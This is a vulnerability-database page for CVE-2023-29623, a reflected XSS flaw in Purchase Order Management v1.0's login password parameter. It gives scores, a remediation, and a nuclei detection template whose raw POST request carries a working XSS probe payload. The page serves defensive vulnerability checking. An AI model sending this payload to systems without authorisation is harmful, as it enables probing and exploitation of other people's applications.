Browse / CVEs / CVE-2023-29623
CVE-2023-29623· purchase order management project / purchase order management· CWE-79
Purchase Order Management v1.0 - Cross Site Scripting (Reflected)
mediumseverity
6.1CVSS score
1.3%likelihood of exploitation, next 30 days
70%of all CVEs are less likely
Readycheck to confirm it
Purchase Order Management v1.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the password parameter at /purchase_order/classes/login.php.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade to the latest version to mitigate this vulnerability.
How to confirm it
Send: POST /classes/Login.php?f=login
Positive when: contains "<img src=x onerror=alert(document.domain)>" and "incorrect" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2023-29623 -u <target>
The full check
id: CVE-2023-29623
info:
name: Purchase Order Management v1.0 - Cross Site Scripting (Reflected)
author: theamanrawat
severity: medium
description: |
Purchase Order Management v1.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the password parameter at /purchase_order/classes/login.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Purchase-Order-Management-1.0/XSS-Reflected
- https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-29623
- https://portswigger.net/web-security/cross-site-scripting/reflected
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-29623
cwe-id: CWE-79
epss-score: 0.0125
epss-percentile: 0.6962
cpe: cpe:2.3:a:purchase_order_management_project:purchase_order_management:1.0:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 1
vendor: purchase_order_management_project
product: purchase_order_management
tags: cve2023,cve,xss,purchase-order-management-system,purchase_order_management_project,vuln
http:
- raw:
- |
POST /classes/Login.php?f=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username={{randstr}}&password=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img src=x onerror=alert(document.domain)>"
- "incorrect"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Purchase-Order-Management-1.0/XSS-Reflected
- https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-29623
- https://portswigger.net/web-security/cross-site-scripting/reflected
Use this check only on systems you are authorised to test. Where the data comes from